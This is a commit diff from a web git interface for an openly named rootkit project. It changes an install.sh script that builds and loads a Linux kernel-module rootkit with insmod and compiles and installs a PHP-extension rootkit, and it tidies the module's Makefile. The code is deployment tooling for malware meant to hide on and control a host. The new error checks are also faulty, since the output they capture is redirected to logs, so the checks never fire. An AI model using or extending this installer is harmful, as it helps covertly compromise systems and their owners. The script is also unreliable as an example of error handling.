Browse Source

Default

master
Root 5 years ago
parent
commit
aab2523af5
  1. 47
      install.sh
  2. 3
      rkkern/Makefile

47
install.sh

@ -45,7 +45,12 @@ compile_rkkern () @@ -45,7 +45,12 @@ compile_rkkern ()
{
cd rkkern
make clean
make all
MAKE_OUTPUT=$(make all &>../logs/rkkern.build.log)
[[ $MAKE_OUTPUT == *"Error"* ]] &&
{
read -p "Error: The LKM Rootkit was unable to compile, check logs. Exiting..."
exit
}
cd ..
}
@ -55,19 +60,51 @@ install_rkkern () @@ -55,19 +60,51 @@ install_rkkern ()
insmod bin/rkkern.ko
}
compile_rkphp ()
compile_rkphp_nodebug ()
{
cd rkphp
phpize --clean && phpize
./configure --with-rkphp --enable-debug
make
CONFIG_OUTPUT=$(./configure --with-rkphp &>../logs/rkphp.configure.log)
[[ $CONFIG_OUTPUT == *"Error"* ]] &&
{
read -p "Error: The PHP Rootkit was unable to configure, check logs. Exiting..."
}
MAKE_OUTPUT=$(make &>../logs/rkphp.build.log)
[[ $MAKE_OUTPUT == *"Error"* ]] &&
{
read -p "Error: The PHP Rootkit was unable to compile, check logs. Exiting..."
exit
}
cd ..
}
compile_rkphp_debug ()
{
cd rkphp
phpize --clean && phpize
CONFIG_OUTPUT=$(./configure --with-rkphp --enable-debug &>../logs/rkphp.configure.log)
[[ $CONFIG_OUTPUT == *"Error"* ]] &&
{
read -p "Error: The PHP Rootkit was unable to configure, check logs. Exiting..."
}
MAKE_OUTPUT=$(make &>../logs/rkphp.build.log)
[[ $MAKE_OUTPUT == *"Error"* ]] &&
{
read -p "Error: The PHP Rootkit was unable to compile, check logs. Exiting..."
exit
}
cd ..
}
install_rkphp ()
{
cd rkphp
make install
MAKE_OUTPUT=$(make install &>../logs/rkphp.install.log)
[[ $MAKE_OUTPUT == *"Error"* ]] &&
{
read -p "Error: The PHP Rookit was unable to install, check logs. Exiting..."
exit
}
cd ..
}

3
rkkern/Makefile

@ -2,13 +2,11 @@ obj-m += rkkern.o @@ -2,13 +2,11 @@ obj-m += rkkern.o
rkkern-objs += src/main.o src/hooks.o src/utils.o
default:
@echo
@echo "Build:"
@echo " make all"
@echo
@echo "Clean:"
@echo " make clean"
@echo
###########################################
# Compilation and Linking process
@ -18,7 +16,6 @@ default: @@ -18,7 +16,6 @@ default:
@mkdir -p ../bin/
all: .PREPARE
@echo
@echo "Compiling rkkern!"
@$(MAKE) modules \
-C /lib/modules/$(shell uname -r)/build M=$(PWD)

Loading…
Cancel
Save